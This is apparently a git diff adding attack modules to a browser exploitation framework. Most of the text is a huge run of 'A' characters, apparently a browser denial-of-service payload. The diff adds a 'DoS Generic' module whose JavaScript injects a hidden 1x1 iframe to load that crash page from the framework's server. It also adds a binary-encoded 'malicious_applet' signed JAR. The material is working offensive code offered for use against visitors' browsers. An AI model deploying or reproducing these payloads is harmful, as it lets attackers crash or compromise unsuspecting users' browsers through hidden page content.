AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + + diff --git a/modules/browser/dos_generic/index.php b/modules/browser/dos_generic/index.php new file mode 100644 index 000000000..1826b1ae3 --- /dev/null +++ b/modules/browser/dos_generic/index.php @@ -0,0 +1,43 @@ + + + + + +
    DoS Generic
    + This will DoS many browsers. A large string will be repeatedly + written using the JavaScript function document.writeln().

    +
    +
    + + +
    +
    + diff --git a/modules/browser/dos_generic/name.txt b/modules/browser/dos_generic/name.txt new file mode 100644 index 000000000..acc215f67 --- /dev/null +++ b/modules/browser/dos_generic/name.txt @@ -0,0 +1 @@ +DoS Generic diff --git a/modules/browser/dos_generic/template.js b/modules/browser/dos_generic/template.js new file mode 100644 index 000000000..89c9e0e9a --- /dev/null +++ b/modules/browser/dos_generic/template.js @@ -0,0 +1,15 @@ + +// thanks pipes (mark@freedomisnothingtofear.com) + +function do_main(){ + var iframe = document.createElement('iframe'); + iframe.src = beef_url + 'modules/browser/generic_dos/browserdos.html'; + iframe.setAttribute("width", "1"); + iframe.setAttribute("height", "1"); + iframe.setAttribute("style", "visibility:hidden;"); + document.body.appendChild(iframe); + + return "Executing now"; +} + +return_result(result_id, do_main()); \ No newline at end of file diff --git a/modules/browser/malicious_applet/SignedUpdate.jar b/modules/browser/malicious_applet/SignedUpdate.jar new file mode 100644 index 0000000000000000000000000000000000000000..9abde24b02ec7571d5d52ede248cb7a8c2fba1c7 GIT binary patch literal 2162 zcma)72~?8l8pbU(O>Zu^FgB%Gm>Y`wltx!nM3h8QyJIPmNQbtw- zpdebmR&yNy63`I6qu@R;Q-r6BISS^9aDiid%up`Ns2-LF($tK-3u$_&ucyD#8!`l) zo{KPZN0}f{Y-*XTVir%Q4WtVWlg;E9eF!-IVC5J zXuu)>m1oG^57b(Ykh^B5`?elmB7>^+22;yCx|JYSlpct?vD>gYid6$+Vs@O z=>Py|q`bnyqF{t3sxe6v=>P98FbG#q7#i(ihH)YFdU?e|v}2aOQ+!kCdPHMfPWX^6 zKZ?$*KziIR?nSn04zHh>@5#xn?cBJ%;0hOeo0t{0b=JhGG%5bh(-n7r->wYts zZn^Q%ysFUR?yL5gX<4Q-afmR#5yGRPLSLrUs@wM0|$V867) z83Tic;dsF_LuZ%6Hv3qeeN}hp#Z#ilrr% zVQdx{g2Ur*OFMs?mn#dBFS8GAX;mH?u#+PKC}5==2qvteup)ME(u;jPn)!aYx0soy zekuqB2R6&A;k80k-BDe={YZ;6XsQ&Qtax+dvtGER>0mpqmgcOMVFq5BdUWooVkdMa z)iza~Yh7Ulv8{kWEG?imDQaA6tE0cGoCvkGI46(O^8-Mo?f>*(FqEVD@t`xv1gm(# zwO;nM<=J)HmOo%NivijytT9`nk`L=5gNoj{rAL?mErko&j~bMl^78evDUIxU*zkTK z=49*Y0#gc^*;62lD?WLYmnsybj|fRl2R^=V*jj(A$#P!z|G_r8A<9PpxlKqSr;R$_ zJ6~KdLO6J8y>4<&If;7d{zpi1S`p4g5!r0dv54|6V7oQs{|*wKA^s0cC@#I zvx+zh)NWy9B~GA@T=R+cG+q^ezPrrKRob-eeK#5>NC4G7pB7qR+i_EgP-5fV`bBOv zG<$2!{z)^fcxl&dcH#0CS1YP;Ga>7*&%;mnmg}j`ENsj*9X?m`bLj{9 z%}=UymRA|x3D%|AvqO1Dy@&qcaBNTi&zyjg{FOl#%$E#55wxWh=yqw5u%t$HaPlf9 zV(5{S*CTgA)iZQ$nrs2%U7cYAc9&BRc!mjFjZ6Z0Y3Z@>Z|8%LCn5xkQR*jp9?UD% zUTuKJ8`vYPqJX#EX!kMrg%w3+ZK+d|V0?M78htUt>a(-Ntq?V3WdMMmWF@cB%dh-V z5g@zmkDs~$0GZFpqRR!47C%JTwxy1*l9fffSTa87;u*7GVi1Lra0_WJ3)4vG&m&;& 